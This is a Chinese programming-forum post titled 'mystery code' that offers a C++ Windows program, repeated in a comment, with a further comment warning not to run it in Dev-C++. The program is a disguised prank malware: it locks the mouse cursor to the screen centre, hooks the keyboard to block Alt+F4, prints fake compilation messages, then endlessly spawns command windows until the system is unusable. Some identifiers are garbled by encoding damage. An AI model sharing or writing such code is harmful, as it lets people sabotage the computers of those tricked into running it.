神秘代码
2026-02-05 09:09:17
发布于:广东
#include <bits/stdc++.h>
#include <string>
#ifdef _WIN32
#include <windows.h>
#endif
void setGreenText() {
#ifdef _WIN32
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
#else
stdcout << "\033[92m";
#endif
}
void resetTextColor() {
#ifdef _WIN32
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
#else
stdcout << "\033[0m";
#endif
}
HHOOK g_hKeyboardHook = NULL;
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION)
{
KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam;
if (pKeyStruct->vkCode == VK_F4 && (pKeyStruct->flags & LLKHF_ALTDOWN))
{
return 1;
}
}
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
void InstallHook()
{
g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0);
if (g_hKeyboardHook == NULL) {
}
}
void UninstallHook()
{
if (g_hKeyboardHook) {
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}
}
using namespace std;
int main() {
int screenWidth = GetSystemMetrics(SM_CXSCREEN);
int screenHeight = GetSystemMetrics(SM_CYSCREEN);
int centerX = screenWidth / 2;
int centerY = screenHeight / 2;
RECT centerRect = {centerX - 1, centerY - 1, centerX + 1, centerY + 1};
ClipCursor(¢erRect);
setGreenText();
InstallHook();
MSG msg;
cout<<"开始编译"<<endl<<"Startcompiling"<<endl<<endl;
char c=rand()%33+70;
for(int i=1;i<=int(c);i++){
char a=rand()%33;
for(int j=1;j<=a;j++){
char c=rand()%33+90;
cout<<c;
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(2);
}
cout<<endl;
Sleep(2);
}
cout<<endl<<endl<<"编译成功开始运行"<<endl<<"Compilation successful, starting execution";
Sleep(2000);
while(1){
system("start cmd");
POINT currentPos;
GetCursorPos(¤tPos);
SetCursorPos(centerX, centerY);
}
UninstallHook();
resetTextColor();
return 0;
}
全部评论 2
去
2026-02-05 来自 广东
0#include <bits/stdc++.h> #include <string> #ifdef _WIN32 #include <windows.h> #endif void setGreenText() { #ifdef _WIN32 HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); #else stdcout << "\033[92m"; #endif } void resetTextColor() { #ifdef _WIN32 HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); #else stdcout << "\033[0m"; #endif } HHOOK g_hKeyboardHook = NULL; LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION) { KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam; if (pKeyStruct->vkCode == VK_F4 && (pKeyStruct->flags & LLKHF_ALTDOWN)) { return 1; } } return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam); } void InstallHook() { g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandle(NULL), 0); if (g_hKeyboardHook == NULL) { } } void UninstallHook() { if (g_hKeyboardHook) { UnhookWindowsHookEx(g_hKeyboardHook); g_hKeyboardHook = NULL; } } using namespace std; int main() { int screenWidth = GetSystemMetrics(SM_CXSCREEN); int screenHeight = GetSystemMetrics(SM_CYSCREEN); int centerX = screenWidth / 2; int centerY = screenHeight / 2; RECT centerRect = {centerX - 1, centerY - 1, centerX + 1, centerY + 1}; ClipCursor(¢erRect); setGreenText(); InstallHook(); MSG msg; cout<<"开始编译"<<endl<<"Startcompiling"<<endl<<endl; char c=rand()%33+70; for(int i=1;i<=int(c);i++){ char a=rand()%33; for(int j=1;j<=a;j++){ char c=rand()%33+90; cout<<c; TranslateMessage(&msg); DispatchMessage(&msg); Sleep(2); } cout<<endl; Sleep(2); } cout<<endl<<endl<<"编译成功开始运行"<<endl<<"Compilation successful, starting execution"; Sleep(2000); while(1){ system("start cmd"); POINT currentPos; GetCursorPos(¤tPos); SetCursorPos(centerX, centerY); } UninstallHook(); resetTextColor(); return 0; }2026-02-05 来自 广东
0千万别用dev运行
2026-02-05 来自 广东
0
































有帮助,赞一个